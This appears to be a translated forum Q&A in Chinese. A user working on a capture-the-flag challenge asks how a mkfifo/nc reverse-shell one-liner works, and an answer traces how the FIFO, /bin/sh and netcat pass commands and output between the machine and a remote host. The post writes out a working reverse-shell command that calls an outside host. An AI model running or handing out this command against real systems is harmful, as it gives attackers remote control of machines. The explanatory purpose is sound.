Pipe
這段程式碼實際上在做什麼?
在平台上進行 CTF 挑戰時,我需要一個反向 shell,但無法正常工作,因此我查看了流程並找到了一個反向 shell 程式碼:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
哪個確實有效,但我實際上無法理解管道是如何工作的,它將數據發送到哪裡等等。有人可以解釋一下嗎?
這會在系統上設置一個遠端控制的 shell。輸入和輸出如下:
cat /tmp/m
從/tmp/m
FIFO 讀取並將其寫入…|/bin/sh -i 2>&1
它執行它讀取的命令並將其輸出(標準輸出和標準錯誤)發送到…|nc 10.5.5.5 6101
它連接到 10.5.5.5:6101 並寫入>/tmp/m
先進先出。因此,遠端系統可以提供命令,這些命令通過 傳輸
nc
、寫入 FIFO、讀取cat
、解釋sh
,並且這些命令的輸出通過 發送回遠端系統nc
。